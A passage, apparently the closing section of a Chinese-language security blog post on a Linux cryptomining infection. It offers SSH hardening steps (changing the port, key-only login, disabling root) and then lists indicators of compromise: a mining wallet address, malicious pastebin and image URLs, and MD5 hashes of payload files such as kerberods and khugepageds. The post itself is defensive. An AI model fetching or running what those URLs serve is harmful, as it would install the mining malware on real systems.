    22 端口是 SSH 服务的默认端口,这也是黑客扫描服务器 SSH 服务的默认端口。

    修改 SSH 端口的方法如下:编辑/etc/ssh/sshd_config,将其中的Port参数改成你想要的端口(通常 5 位数字最好),修改完成之后,重启sshd服务生效。

  2. 禁止使用密码登陆,使用公钥登陆

    本地机器可以使用ssh-keygen -t rsa生成公钥和私钥,然后将公钥追加到服务器上的~/.ssh/authorized_keys文件,注意此文件的权限是600。

    SSH 配置如下:

    RSAAuthentication yes                   # RSA认证
    PubkeyAuthentication yes                # 开启公钥验证
    AuthorizedKeysFile .ssh/authorized_keys # 验证文件路径
    PasswordAuthentication no               # 禁止密码认证
    PermitEmptyPasswords no                 # 禁止空密码

    最后重启sshd服务即可生效。

  3. 禁止 root 用户登录

    线上服务器,我们通常会以普通用户登陆,然后再su root切换到root用户,这样做的好处是,即使被攻击了,也能有相应的保障。

    具体的方法是修改/etc/ssh/sshd_config配置文件,将PermitRootLogin改为no

0x7 IOC

1 钱包地址

44qJYxdbuqSKarYnDSXB6KLbsH4yR65vpJe3ELLDii9i4ZgKpgQXZYR4AMJxBJbfbKZGWUxZU42QyZSsP4AyZZMbJBCrWr1

2 恶意URL

https://pastebin.com/raw/sByq0rym
https://pastebin.com/raw/tqJjUD9d
https://pastebin.com/raw/sByq0rym
https://pastebin.com/raw/TS4NeUnd
http://sowcar.com/t6/689/1553329669x2890191853.jpg
http://sowcar.com/t6/689/1553329719x2890149536.jpg

3 恶意文件

be974c9cf266bc37270af3dd457ec9ab  1553329669x2890191853.jpg
9a84bf99fade79421ffe5ec8b3998917  1553329719x2890149536.jpg
be974c9cf266bc37270af3dd457ec9ab  kerberods
71222c7976d23df90301af0bfa09508d  khugepageds
ed7ef73178123e49657e594f22bbc01a  libcryptod.c

0x8 参考

...

Tags Read More